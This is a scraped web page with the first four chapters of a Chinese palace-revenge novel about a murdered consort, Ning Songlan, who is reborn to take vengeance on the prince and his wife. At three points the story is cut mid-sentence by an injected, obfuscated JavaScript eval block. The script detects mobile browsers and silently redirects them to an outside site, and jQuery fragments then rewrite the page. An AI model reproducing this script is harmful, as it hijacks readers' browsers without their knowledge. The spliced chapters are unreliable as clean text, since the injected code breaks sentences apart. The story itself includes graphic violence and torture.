《权宦饲鳞日记》
1. 第 1 章
“原来,天下有情人全都一个样。”
朱红高耸的宫墙是座永跨不过的山,数不清的新人怀着恋慕向山中走。闭着眼、堵着耳,听不到山中旧人夜夜泣诉声,只闻宠姬被翻红浪的娇笑。
沈嫚儿立于金碧辉煌的宫殿,脚下踩着件正红色的凤样绣袍。那是千位绣娘赶工数月,用世间最昂贵的金丝绣制而成,此刻却被她狠狠踩在脚底碾压。
“……沈嫚儿,你到底想做什么?”
燕谨之刚接到太监通传,便火急火燎地赶来。看到沈嫚儿如此踩着皇后朝服,他怒目瞪着,下令让人把发了疯的皇后娘娘关起来。
“这凤袍你不要,有的是人要!”
燕谨之本意只欲吓唬她,可听到这话,沈嫚儿竟痴痴笑起来:“哈哈哈,是,我早该知道…从姐姐死的时候我就应该知道,我也会有这个结局。”
“你提她做甚?!”燕谨之听到了那个他从不敢提起的人,应激般惊叫起来。
“为何不提。”沈嫚儿扬了下眉,眼珠向上望着燕谨之,“你杀她之时不见手软,怎么如今倒因为她夜夜惊梦,你心有何愧?”
沈嫚儿此刻双手被压在身后,跪伏在地上。明明是菟丝子般柔弱的女人,竟突然爆发出惊人的力气,几番挣扎硬是拖着宫人往前爬了几步。
她继续笑着:“当初你那么爱她,又为何要杀了她?时至今日,你还记得她姓甚名谁吗!”
“……疯了,你真的疯了!你提那个女人做什么?如果她不死,你也不会是皇后!你有什么资格提她?”燕谨之向后踉跄几步,眼睛逐渐气得充血,他手微微颤抖,控制不住地想掐死沈嫚儿。
“可我从来不想做皇后!我只是爱你,所以才和你成亲……”哀哀的哽咽响起,沈嫚儿眼中还带着爱意。
却不想燕谨之倏尔皱起眉,一扬袖子怒接道:“婊子,你立什么牌坊?如果不是你介入,她现在还是我的正妃,哪轮得到你说什么可笑的爱!”
三言两语争吵,两人昏了头,将彼此深埋心中的秘密与猜忌全盘托出,彼时相爱的爱侣此刻像两只恶犬互相攀咬。
而在无人看到的角落,一只手正时不时向上抛着花生米。
一双纤纤玉指哪怕捏着花生米,都像在捏着什么高雅的文玩,其主人此刻还穿着身在东宫时的那袭鹅黄织锦裙,自下而上逐渐收束的裁剪使她看起来腰肢纤细,盈盈可握,只是周身的气质减少了那分柔弱之感。
她眉眼如画,秋水般的明眸里时刻像含着雾气,让人猜不透她在想些什么。柳眉弯弯,一点绛唇嵌在嫩白光滑的脸上,像一个生于九天的神祇,轻灵飘逸。只是眼下和唇角几串血迹颇为吓人,若是谁见了她准是先被那血色惊煞。
“我都死了多久了,这两人倒还念念不忘……幸好一直在,不然还真以为他们每天抱头痛哭念我。”
宁菘蓝翻了个白眼,不愿再看这对狗咬狗的‘神仙眷侣’。
说起来,她身穿到这个架空朝代已经二十三年了。
她和燕谨之青梅竹马,自小便被当作太子正妃培养,可谁知突然杀出一个沈嫚儿,硬生夺了她的正妃之位,让她含泪做了侧妃。
她本认为这只是虚名,无所谓,只要燕谨之心悦自己就好。可谁知道那个九千岁又突然找茬,点名让她们二人其中一个陪酒。她还想着替沈嫚儿求情,没想到最后被送过去的竟然是自己,现在想想,还真是小丑。
现代女生陪酒都被误会,更别说古代。果不其然等她回来,燕谨之鼻子不是鼻子,眼睛不是眼睛的,那生气样子说是吃醋又不像,倒像是觉得她丢他脸了,从此宁菘蓝就开启冷宫生存模式。
眼看着燕谨之和沈嫚儿逐渐亲密,直到滚上床成了一对真正的神仙眷侣。
情比金坚的二人便开始“搞事业”。
燕谨之借着沈嫚儿家里的权势,一步步蚕食朝堂众臣,杀了九千岁,杀了老皇帝,杀了一众兄弟姐妹,踏着血腥登上皇位。
那夜。
杀九千岁的那一夜,宁菘蓝也被他压了过去。
二人被他面对面按着,瓢泼的雨水浇得他们睁不开眼。宁菘蓝隔着雨,看向那个昔日一人之下万人之上的九千岁,发现他哪怕行至末路,脸上也挂着笑,活像个疯子。
突然银光一闪,带着穿透一切的气势闪在宁菘蓝眼底。
褚拭雪被燕谨之亲手血刃,鲜红温热的血液洒了宁菘蓝满脸满手,多得连雨水都冲不掉。
“你的奸夫死了,难过吗?”
燕谨之妒夫似的攥住宁菘蓝的脸,强硬将她的头抬起,看到她脸上的雨水和血液,又发了疯似的吼:“你为了他哭?你爱上他了!”
“……你有病吗?看不到这是雨?还有,除了那天晚上,我哪里还和褚拭雪有什么交流!是你把我送过去的,你又一直生什么气?”
宁菘蓝向来说话戳人心窝,燕谨之苦心塑造出一面欺骗自己的镜子,此刻被宁菘蓝无情打破。
他另一只手握着长剑,几番抓握忍耐。
也许他爱宁菘蓝,可他最爱自己,宁菘蓝的存在无时无刻不在提醒着他,那段蹲在九千岁手下屈辱的过去,等继了位,她留不得。
可宁菘蓝此刻正在气头上,看不到燕谨之脸上的纠结,仍说着嘲讽的话。
终于,燕谨之忍无可忍。
“宁菘蓝,你去死!”
一道穿透雨雾的怒吼声响彻整个皇宫,伴随着天边骤然乍起的惊雷,宁菘蓝永远留在了雨夜里。
“你杀了宁姐姐?”沈嫚儿撑着伞姗姗来迟,看到燕谨之那还在向下滴血的长剑,和手里变得软趴趴的人,“你怎么能杀她?你不爱她了吗?”
“……嫚儿,别太天真了。那个女人是我的屈辱,我怎么可能爱她?”
燕谨之嗬嗬笑着,扔下剑,摇摇晃晃冲沈嫚儿走去。他一手握住沈嫚儿的肩膀,一手握向伞柄,嫩白的手被他包裹着,染上层层脏污。
她也被燕谨之弄脏,沾着褚拭雪和宁菘蓝的血,二人拄着伞消失在雨幕中。
宁菘蓝就此死掉,等再睁眼就以地缚灵的状态出现在皇宫,尽管失去的现代记忆全部归位,于她而言也已没什么用了。
她只能每天被迫看着燕谨之他们的生活,日复一日飘荡。
已经是一个死魂,再滔天的恨意都无处宣泄,久而久之,她也倦了。
毕竟他们接下来的日子即便没有她,也过得一地鸡毛。
狼心狗肺的燕谨之,一上位就广纳后宫,嘴上说着最爱沈嫚儿,实则睡了一个又一个。
今天是歌喉优美的柔妃,明天是身段漂亮的慧妃,再后面又是骁勇洒脱的舒妃,单薄柔弱的沈皇后再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950802|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
未出现在他的龙床上。
沈嫚儿是一个天真到发蠢的女人,有情饮水饱,可是没了情,她就会死。
燕谨之不懂这个道理,也许他压根不想懂,说了半生的爱,爱到最后就是一句“疯子”结尾。
“燕谨之,若有来生……”
沈嫚儿用尽全力挣脱宫人的手,颤抖的手指牢牢抓着早已藏在袖口的金簪,声声泣血:“我再也不要和你站在一起。”
细瘦的脖颈被金簪狠狠插入,沈嫚儿抱着必死的心志,做了一件生平最勇敢的事。
颈动脉被金簪刺入,迸发出喷涌的血液,几乎算是漫天飘洒的鲜红溅在宫殿里所有人的身上,燕谨之首当其冲,再一次蒙上爱人的鲜血。
那身明艳的龙袍如五年前他登上皇位那晚一般,沐浴鲜血,变得厚重黯淡,仿若他的未来也终将如笼中困兽。
沈嫚儿骤然躺倒在地,快速失血的身体止不住痉挛。不断流失的体温让她想伸手抱住自己,可数次妄图抬起的胳膊毫无反应,她已经控制不住躯体了。全身上下只剩涣散的眼珠可以微微转动。
血红一片的世界里,角落却突然出现一抹鹅黄。
那件衣服好熟悉…好像出现在她手里过…
沈嫚儿的大脑走马灯似的转动,看到了那天她初入东宫,彼时尚天真年幼的她送了一件衣服给姐姐,就是那件鹅黄。
鹅黄浅淡,很好的压住了姐姐眼尾那抹过于穠丽的艳色,反而衬得她像天边的神仙。
“……姐,姐姐,你来看我了…”
沈嫚儿嗬嗬地倒不过气似的笑,她看着那抹游魂:“好年轻的姐姐…你怎么都不老的?”
宁菘蓝拿不准沈嫚儿是否真的看见了自己,她左右环顾,发现宫殿里已经没有人了。
燕谨之捂着头摇晃离开,其他宫人低头跟在他后面一起跑走,他们把皇后娘娘看作洪水猛兽,如此看来,沈嫚儿也只能是在跟自己说话了。
“你是…来…报仇的吗?”沈嫚儿气若游丝,仿佛下一秒就要咽气,可她还在不断说着话,好像只要宁菘蓝不理她,她就要一直说下去。
“……你这副样子,还需要我亲自报仇吗?蠢货。”宁菘蓝飘到沈嫚儿身边,眯着眼睛色厉内荏。
沈嫚儿闻言自嘲的笑笑,用尽最后一丝力气:“如果有来生……”
没有了。
宁菘蓝伸手抚下沈嫚儿直到死还抓着自己衣摆的手,她不知道沈嫚儿为什么能碰到自己,可即使现在的沈嫚儿是一个死人,她依然觉得她恶心。
表面天真可爱,实则为了爱情能付出一切,所有人的命在她这里都没爱情重要,哪怕是她自己的命,她就是一株真正的菟丝子,恶毒地挂在他人身上吸收养分。
没了爱情就要死,没有燕谨之宠幸就自杀,何其可悲。
宁菘蓝厌恶的站起身,本想离开这个污秽的地方,却霎时间,突然天地动摇,眼前的宫殿楼宇片片碎裂,沈嫚儿的尸体也不知去向。
这个生活了二十三年的世界如微末般消散在她眼前,红红绿绿的世界色彩围绕着她飞舞几圈,逐渐聚合,光芒闪过,成了一本悬浮在空中的金书。
书页上写着:
《霸道帝王狠狠宠:我的菟丝花皇后》
主角:燕谨之,沈嫚儿
配角:褚拭雪等
2. 第 2 章
距离金书出现已经过了很久,宁菘蓝却还是望着上面的字发呆。
她能理解主角是燕谨之和沈嫚儿,可她不理解自己混到最后竟然只是一个“等”字。
连褚拭雪都有姓名。
也许是不耐烦她缓慢的理解过程,金书突然在她眼前一卷,狠狠敲了一下她的头,又晃着绕了她几圈,好像骂得很脏。
“……好了好了,我看还不行吗?”
宁菘蓝被金书砸得头晕眼花,明明就是一本书,脾气还挺臭。
白玉般的手指穿梭在金黄的书页间,也许是经历过一遍,她翻得很快。没过一会儿,宁菘蓝就合上了书本。
原来她一直以来穿的,都是一本古言酸涩文。
燕谨之作为大安的太子,自小与女配宁菘蓝青梅竹马。二人情投意合,在十七岁那年成亲,可由于女主沈嫚儿的介入,燕谨之被迫迎沈嫚儿为正妃,宁菘蓝作为侧妃进门。
沈嫚儿天生脾气柔软,又自小暗恋燕谨之,嫁进来后上尊老下爱小,对燕谨之更好得没话说。而侧妃宁菘蓝本性傲慢无礼,脾气暴躁,成亲后变本加厉,心狠手辣的挫磨遍了下人。对比之下,燕谨之从厌恶到逐渐被沈嫚儿的善良吸引。可他又认为不能对不起青梅竹马的情谊,两个人硬是克制的相处,在无人知道的角落暗生情愫。
后来暴戾恣睢的九千岁折辱燕谨之,燕谨之面对一个有年少情感的宁菘蓝,一个如今心悦之人沈嫚儿纠结。沈嫚儿不想他为难,含着泪主动离开,却被燕谨之一把拉住抱进怀里,两个人就此心意相通。女配宁菘蓝则被送到九千岁那里,一夜过后,太子彻底厌恶宁菘蓝,将其“打入冷宫”。
经历万千阻碍,燕谨之和沈嫚儿分分合合,终于在最后打败了大boss褚拭雪,修成正果。
故事到燕谨之登基后就结束了。
现在一看,登基时二人意气风发,帝后情深,可后来仍斗得一嘴毛。
怪不得童话从不写婚后。
宁菘蓝手指一动,恍然大悟:“原来燕谨之早就不喜欢我了,我说他为什么突然把我献给褚拭雪…”
说完她一把扯过那本金书,气得牙痒痒:“什么破书,我明明什么都没干,又要被说是脾气暴躁,又被迫参与这两个人恶心的爱情!要是能再来一次,我把他们所有人都杀了……”
手指揉搓间,突然金书发出一道刺眼的光芒,像是触发了什么关键词。
宁菘蓝被突如其来的光刺得眼泪直流,猛地收回手捂着眼睛痛呼,丝毫没注意到光芒照射的范围逐渐变大,直到最后将她全身包裹。
无人知晓的地方,世界再一次形成。片片星点汇聚,红的、蓝的、绿的…太阳、河流、山川拔高而起,星辰太阳重现于世,万物违背自然属性逐渐倒流,光影不断轮转,烛泪上涌,重汇烛身。
一切回到原点。
“太子殿下,说啊,奴才只是想和太子妃一起用膳而已,不用这么犹豫吧?”
一道含着笑的磁性嗓音响在耳边,如世间最名贵的玉佩撞击声,低沉悦耳,明明言语说的那么正经,可语气中透着嘲讽戏谑。
宁菘蓝手还捂在眼睛上,她闻言皱了下眉,将手指放下,眼睛眨动间几串眼泪落下,尽管视线有些受影响,但她还是看到了对面坐着的那个男人。
男人一身墨绿锦袍,腰带紧紧束在腰上,勾勒出结实有力的腰腹曲线。他斜倚在桌边,一只手摇着扇子,一只手拿着酒杯,肩膀微微耸起,可见其宽阔。
他桃花眼尾上挑,剑眉斜飞入鬓,鼻梁高耸挺拔,刀削斧凿的面庞宛若天人之姿,明明是冷峻的长相,却被他脸上不正经的笑意衬得多了几分风流。
褚拭雪?
“……褚拭雪,你别太过分!”
身旁隐忍又含着怒气的声音响起,宁菘蓝向旁边一看,发现燕谨之气得满脸通红,而微微落后于他的沈嫚儿正低着头抽泣。
察觉到她的目光,燕谨之扭头看了眼宁菘蓝,却发现自己一直以来倔强坚强的青梅眼睛通红,脸颊上还残留着未干的泪珠。
一个总哭的人眼泪并不珍贵,但一个几乎从不哭的人哭了,那眼泪比珍珠还要令人珍惜。
“毋虞,莫哭,我会保护好你的。”
燕谨之立刻心疼地揩掉宁菘蓝脸颊的泪水,胳膊抱住她的肩膀,默默下决心一定不要让宁菘蓝再落泪。
褚拭雪也惊奇的抬头看了眼宁菘蓝,传闻这太子侧妃自小性情倔强,小时候从马上摔下来,腿骨折的时候都一声未哭,怎么这次哭得这么惨。
他做的太过分了?
褚拭雪难得自我检讨了一下。
可下一秒他就把这一丝愧疚抛之脑后,继续对着燕谨之说:“罢了,若是侧妃娘娘不愿,那就另一个吧……”
说着,他挑眼看向躲在后面的沈嫚儿:“太子妃站后面干嘛?您这样子不像正妃,倒像是…妾室做派。”说到妾室二字,他又瞄了眼宁菘蓝。
除了正妃,其他的不的确是妾室吗,他看宁菘蓝倒也没看错。
只是宁菘蓝大婚前日被沈嫚儿顶位这件事人尽皆知,褚拭雪此刻一眼,倒像是故意往几人身上插刀。
果不其然,燕谨之被褚拭雪气得不轻,他左右倒倒步,数次想离开又不敢,只能站在那一言不发,看起来很是窝囊。
沈嫚儿本还勉强维持着太子妃的体面,可当她被褚拭雪提到,怯怯抬头瞟了一眼,被那人侵略般刺了一眼后,立刻哭得不能自已,脚都哭软了,忍不住蹲在地上抱着头发颤。
哀哀的哭泣声响在偌大的房间,褚拭雪“嘶”了一声,看看窝囊不说话的太子,又看看怕成软脚虾的太子妃,整个房间没一个硬骨头。
本来唯一一个看着像的,刚刚才被“小太子”抱在怀里哄…
宁菘蓝冷静了很久,才勉强接受自己重生的事实,毕竟褚拭雪死那么久了突然诈尸,除了重生,也没别的理由能解释了。
似乎忍受不了长久的沉默,褚拭雪啧了一声。
“我说,太子殿下不会在拖延时间吧?”褚拭雪难忍厌烦的一合扇子,站起身,用扇子敲打着掌心走下来。
高大的身躯比太子高了不少,顶天立地的往那一站,几乎把太子挡了大半。他微微低下头,用俯视的眼神看着燕谨之。
“……不就是用膳吗,我陪您?”
宁菘蓝手下用力,把燕谨之推到了后面,自己走上前仰头看向褚拭雪。
两人此刻距离有些近,已经到若是谁呼吸稍稍重了点,都能被对方察觉的程度。四目相
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950803|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对,眼神仿若化作实质般的丝线,勾搭不清,缱倦交缠。
“……你确定?”
褚拭雪勾着唇角,看着少女单薄的身子,看到她义无反顾地挡在懦弱的太子和太子妃前面,一副保护的姿态,直想发笑。
也是个蠢人。
当然,宁菘蓝其实对狗男女并没有什么保护的心思,推他们去一边单纯是为了别让他们碍事。
她点了点头,褚拭雪一下子失去大半兴趣,扭头又往榻上坐,闭着眸摇着扇子,边摇边说:
“您愿意就行喽,娘娘。”
褚拭雪拖着嗓子一字一句说,语气起起伏伏,语调乱转,看起来就在阴阳怪气。
燕谨之没想到宁菘蓝会突然站出来。他先是一愣,紧接着气从心头起,他一把扯过宁菘蓝,手下也没注意力气,紧紧攥着人问:
“你凑什么热闹?本太子需要你护?”
他没注意语气,听起来有些颐指气使,毫无被人保护了的自知。
宁菘蓝手腕被攥得生疼,她眉毛微皱,忍着痛意不耐烦道:“那你准备怎么办?让沈嫚儿去,你愿意吗?”
燕谨之闻言一愣,手的力道不自觉松了一松。沈嫚儿背靠沈家,如今朝堂之上沈家又极有势力,若他把沈嫚儿送给褚拭雪,沈家一定不会放过他。
可毋虞她,是自己的心上人啊…
燕谨之看着正不断揉着手腕的宁菘蓝,表情渐渐苦涩:“毋虞,你了解我的,我那么爱你,怎么可能让你做这种事。”
“但是……?”宁菘蓝看穿燕谨之的本性。
燕谨之咬咬唇:“明日我会和嫚儿来接你。”
宁菘蓝闻言翻了个白眼,不想再看他,扭头面向褚拭雪的方向,说:“要走快点走。别一会九千岁大人改主意,直接留下两个,那殿下明日就得自己来接人了。”
褚拭雪正好面向宁菘蓝,眼睁睁看着宁菘蓝气得牙齿咯咯响,眉毛眼睛乱飞,忍不住用扇子掩唇笑起来。
他含着笑,也配合宁菘蓝说话:“对啊,十秒内不走出这个门,余可把两位太子妃全留下了。”
还是褚拭雪说话有用,燕谨之立刻拉着沈嫚儿出去了,走得毫不留恋。
房间重归寂静,褚拭雪不说话,只抬头看着站在一旁的宁菘蓝。
宁菘蓝被看得也没有丝毫不自在。
上辈子她被留下来哭了一晚上,一眼都没看褚拭雪,褚拭雪也没做什么,更别说后来她亲眼见证褚拭雪被砍头。
在这部古言小说里,褚拭雪也就是个戏份多点的炮灰而已,半斤八两。
“太子妃怎么不说话?”褚拭雪还是先开了口。
宁菘蓝眼观鼻鼻观心:“太子妃刚出去了,九千岁叫错人了吧?”
褚拭雪沉吟一声,故意带点戏谑地说:“啊,也对。如果是你们大婚前这么叫也没错,就是现在,的确不能这么叫了,是余失言。”
“下不为例吧。”宁菘蓝说话没大没小,颇有股破罐破摔的意味。
褚拭雪闻言一怔,感觉自己眼前站着的不是人,而是一个不怕开水烫的小猪。
他扇子也不摇了,也不笑了,有点拿不准这个太子妃是在跟谁置气。
莫名其妙,不知所以然,褚拭雪默默心想。
3. 第 3 章
“宁娘子,请坐。”
褚拭雪留下她,本就出于羞辱太子之意,现在目的达到了,他也不欲再和宁菘蓝多说什么,准备再坐一会就离开。
“九…褚大人,不是说用膳,他们什么时候上菜?”
宁菘蓝从善如流的坐下,扬起了来这里这么久第一个笑脸。原因无他,只是她死了那么久,已经很久没吃过活人饭了,现在就连白米都能让她口水直流三千尺。
闻言,褚拭雪先是一愣,又打量了桌前的人一下。
眼前这人怎么一副饿死鬼刚投胎的模样?
他挥挥手让手下去点餐,自己则是踱着步站至宁菘蓝身后,弯下腰,用玩笑般的语气怀疑道:
“…宁娘子怎么一副很久没吃过饭的样子,太子殿下亏待您了?”
宁菘蓝转转眼珠,用手指抵住下巴,一副高深莫测的样子:“褚大人为何这么说,你很想看到太子殿下亏待我?”
说完,她不动头,只动眼神,微微向后一瞥,瞥到了一张冷凝着的脸。
语气那么轻松,脸倒是臭得不行。
“……诶呀,我开玩笑的,褚大人莫当真。”
她心道有点过了,猛地站起身,扭过头想赔罪。却因为站起来的速度过快,头一下撞到了一个坚硬的物体上,随之而来身后传来一阵痛嘶声。
只见褚拭雪捂着自己的下巴,眉毛深深皱起,看她的眼神像在看什么灾星。
他三步两步远离宁菘蓝,揉着下巴道:“宁娘子的这个玩笑力气真大,褚某真是听不起。”
宁菘蓝本还想上前去看看详细情况,一听这话也不动了。
还会冷嘲热讽呢,这下巴估计是好得很。
她都没说自己头撞疼了……
虽然确实没感觉,但撞一起于情于理都该是她先抱怨吧。
这时,门外遥遥传来店小二的呼喊声:“诶——天字一号的龙凤呈祥锦绣食来啦!”
伴着呼喊声,一个个小二鱼贯而入,他们每人手里都端着东西。伴着从楼下传来的阵阵惊呼声,众人一起涌入房间,挤挤挨挨的朝桌子上放,直到将桌子摆得满满登登才纷纷离开。
最后一个离开的小二鞠了个躬,冲他们一拱手:“二位客官,我们珍馐阁的招牌,龙凤呈祥锦绣食已为您上齐,请慢用。”
关上的门没阻隔楼下的议论声,在场食客纷纷讨论是谁那么大手笔,挥手便点个锦绣食,将千金扔了进去。
他们边吃边向上仰头,一心想知道是哪位败家公子出门了。
屋内,褚拭雪面上没说什么,只是抬眼望了一下刚刚去点菜的手下。对方顿时遍体一凉,直觉不妙。
宁菘蓝坐在桌旁,看看这道烧鹿筋,看看那道樱桃肉,再看看对面的桂花鱼翅等,它们各个食材精贵,做法繁复,就是身处皇宫也不一定能吃得这么好。
褚拭雪看看眼睛都快掉进菜里的宁菘蓝,礼貌地笑了一下:“宁娘子慢用,褚某先走一步。”
宁菘蓝巴不得这顿饭只有自己吃,她立刻故作矜持的坐起身,冲他点了下头:“谢谢褚大人的招待,今天很愉快,再会。”
褚拭雪点点头,一个翻身就从窗户边消失了,其侍卫也紧跟其后,偌大的房间此刻仅剩宁菘蓝一人。
这边宁菘蓝在大快朵颐,另一边褚拭雪抱着臂,坐在马车中沉默。
那个跟在他身后人高马大的侍卫跪在马车里,整个人缩在一起,看起来好不可怜。
“属下错了,求主上责罚!”
“你错哪了?”
褚拭雪周身气质凌冽,与刚刚在珍馐阁的样子截然相反,此刻的他,才像一个暴戾冷漠的九千岁。
“……属下,属下不该自作主张点那个锦绣食,太显眼了。”
听到这话,褚拭雪才微微睁开眼睛:“若是因为你点的这个锦绣食,被别人知道了什么,你猜…会有什么后果?”
“会,会有人在皇上面前参您…”侍卫磕磕巴巴的回答,只是还没说完,就被褚拭雪打断。
“嘘,我问的是你,你会有什么后果?”
侍卫咽了咽口水,喉咙干涩得像下一秒就要呕出血来,他在心中不断安慰着自己。
仅是一次小错误而已,最多受些皮肉之苦,大人不会杀了自己的,不会的,不会。
褚拭雪言简意赅:“一百鞭刑,等回去就自己去领吧。”
一百鞭刑!
东厂的鞭通身带有极为尖利的木刺,平时行刑时会再沾满盐水。
打在人身上不仅会刺痛难忍,其上带着的木刺也会掉下许多碎小的屑,伴着击打的同时深深嵌入人的皮肉之中,这些碎屑很难清理,刺入皮肉内除非一根根拔除,否则很难清理干净。
饶是东厂身体极为强健的人也只能撑下二十鞭。
褚拭雪想折磨人时,便会用这一招。
侍卫最多撑二十鞭,一百鞭下去,那真的就是在鞭尸了。他此刻才明白,褚拭雪是真心想要自己的命。
“大人,大人你不能…”
“滚下去。”
褚拭雪不欲多说,可侍卫跪在那,竟一步步向前爬,想拽住褚拭雪的衣角求饶。
“砰——”
侍卫被一股大力踹到了角落,他颤抖着手拭拭唇角溢出的鲜血,怒道:“褚拭雪,你不能这样!你,你草菅人命,不得好死……”
话音未落,一柄匕首自褚拭雪袖口甩出,冲着侍卫喉咙直直而去。
匕首干净利落的刺入喉管,侍卫一秒都未能苟活,血液争先恐后的喷涌而出,不多时就涌向马车地毯。
“都蒙人呢?安排这么一个垃圾。”
褚拭雪拿起手帕掩住口鼻,神情恹恹。
前面驾车的人将头凑近马车门,小心翼翼开口道:“主上,都蒙大人请假了,说是去…喝酒。”
褚拭雪无奈按了按眉心:“等他回来,让他也去领罚。告诉他如果再因为这种理由请假,以后一概不批。”
车前的人毕恭毕敬的应了是,又回过头专心开车。
另一边宁菘蓝已经吃饱喝足。她也不想早早回去让太子审,就准备按原文剧情过一夜再回去。
可刚闭上眼睛,意识里一片金光闪过,那本金书再次出现,自己翻得哗啦作响,直到一页空白页出现,上面缓缓浮现出一段文字。
“请宁菘蓝小姐抓住这次重生机会,只有男女主顺利在一起,您才能结束循环。”
“循环?你的意思是,我的重生其实是循环?”宁菘蓝后心泛起凉意。
“是的,如果男女主始终没有按剧情在一起,您就要一直循环,直到死。”
“……重生前也没人告诉我啊,要不让我再选一次,我不复活了行不行?”
宁菘蓝当魂体当惯了,躺平已经刻入她的骨髓。再者现代记忆归位,她对这个世界更加成了上帝视角,恨意逐日减
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950804|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
淡,不足以支撑她再次打破自己平淡的生活。
“宁小姐完成任务,有一定几率回归现代世界。”
“回归现代,你说真的?!”
“真。”
宁菘蓝很想回去,但是她的底线是绝对不会帮助害死自己的人。
“好,我只有一个问题,如果我让他们一起死,这算不算在一起?”
“勉强算。”
金书翻了好一会儿,才用十分凝滞的速度显示出三个字,看得出来是经过了很大的思想斗争。
得到金书的这句话,宁菘蓝本来躺平的心态支棱起来。
“报仇啊,唉,你也不早说。早知道我和九千岁商量一下,我们狼狈为奸……呸,强强联合,这不妥妥的开局团灭他们嘛?”
只是九千岁这人性格太过诡谲,就冲被砍头前那一笑,就不是正常人做得出来的。跟这种人合作,无异于与虎谋皮。
宁菘蓝考虑半天,还是决定先不招惹那个疯子,不到万不得已就不走这条路。
她躺在床上想半天,直到最后想睡着了。
再一睁眼,天光大亮。
阳光从窗纸中透来,薄薄的一片,给床边红木桌打上一层水般的光泽,一圈金边镶嵌,竟颇有金碧辉煌之感。
不愧是奢靡的九千岁,随手定的客栈都那么豪华。
宁菘蓝唤来净脸的水,又用手帕按了按脸颊上的水珠,将整个人打扮好了,才施施然走出客栈。
珍馐阁位处中大道,这条道四通八达,人流量大,故店家和商贩也极多。此刻正值早市高峰,不论是店里的还是沿街走动的商贩,都聚在这里叫卖着。
鳞次栉比的店家有的卖绸缎,有的卖书画,有的卖首饰,还有的在卖零嘴糕点。来往之人或是布衣草履,或是锦衣花帽,人群如织,热闹之极,一派盛世景象。
宁菘蓝看到这幅画面不由笑起来。
她被困在皇宫已久,朱红的宫墙每日充斥在视野,耳畔日日回响淫词艳语或凄婉哀嚎,尽管宫中女人都是一等一的好颜色,可她们削尖了脑袋争宠的样子实在难看。
“这位娘子生的真好,想来若是戴了我家首饰,更应成了天仙,直接羽化飞升了去。”
一个机灵的摊贩斜斜蹲在珍馐阁对面,见一个娘子就夸一句,如今见了宁菘蓝更是大声夸的起劲,势要卖出几件首饰。
“得了吧,黄二,每日花言巧语……”
他对面的女人本还嘲讽他,可边说话边回头,等真的看到了宁菘蓝,她又说不出黄二是在花言巧语的话了。
因为对这位娘子,黄二难得说了一句实话,她的确美得像天上谪仙。
女人愣了一下,也赶紧冲宁菘蓝喊:“别光看他的首饰,也看看我们家口脂啊,娘子!以您的颜色,再涂个口脂,定迷得郎君神魂颠倒!”
“切,徐娘子,人家不用口脂就能迷倒郎君,还是看看我的首饰吧。”
“呸,你的首饰算什么,还是我的口脂好!”
“你这女人不讲道理!娘子莫听她的!”
“我才要说!”
……
二人你一言我一语,宁菘蓝被他们逗得直想笑,决定雨露均沾,每个摊子都光顾一下。
只是刚走出两步,一辆马车就很快地驶到她面前,甚至险些压了她的脚。
马车行驶间带起的风吹过,车侧窗布飘飞,一双阴鹜的眼赫然出现。
4. 第 4 章
宁菘蓝被吓了一跳,定睛一看,才发现那是眼圈乌黑的燕谨之。
“看来昨晚过得很开心?”
燕谨之嗓音沙哑,像刚被磨砂纸打磨过似的,昏暗的马车内部不透一丝光,乍看之下,燕谨之竟像一个恶鬼。
宁菘蓝默了一下:“……太子殿下这是什么意思?”
“意思就是你是不是被褚拭雪伺候爽了!”
燕谨之将手臂从马车窗中伸出,想去拽宁菘蓝的衣领,只是被宁菘蓝闪身躲过。
她护住领子连连后退:“燕…这是在大街上!你疯了吗?”
燕谨之一顿,几番深呼吸才克制住暴虐的欲望,恨恨的说:“……你给我上来,上来!”
宁菘蓝环顾周围,发现越来越多的人驻足在此看热闹,无奈只能赶忙上车。
燕谨之失心疯似的,竟连脸面都不要了。
宁菘蓝刚坐上车,马夫就扬起马鞭驱赶,马儿扬蹄疾驰,丝毫不顾街上拥挤的人群和摊贩。
马车内部也因骤然加快的速度而一颤,本就没坐好的宁菘蓝身子一歪,险些摔下去。
她身子一矮,手腕牢牢撑住座椅,只是刚支持住,皓腕就被一只手包裹。那只手青筋暴起,一个用力就将宁菘蓝提起来。
她被迫趴在燕谨之双膝,双手被禁锢在背后,头高高昂起:“你到底在发什么疯?是你把我抛下的!”
“我只让你陪他用膳,没让你陪睡!”燕谨之咬牙切齿,低下头慢慢贴近宁菘蓝脖颈,含着恨说。
“我没有!”宁菘蓝剧烈挣扎着想起身,却又被燕谨之按下去。
他手下用力,直到将宁菘蓝手腕攥得几乎变形,才一字一句说:“本太子在这等了一夜都没见到你,你敢说你们二人没有滚到一起?”
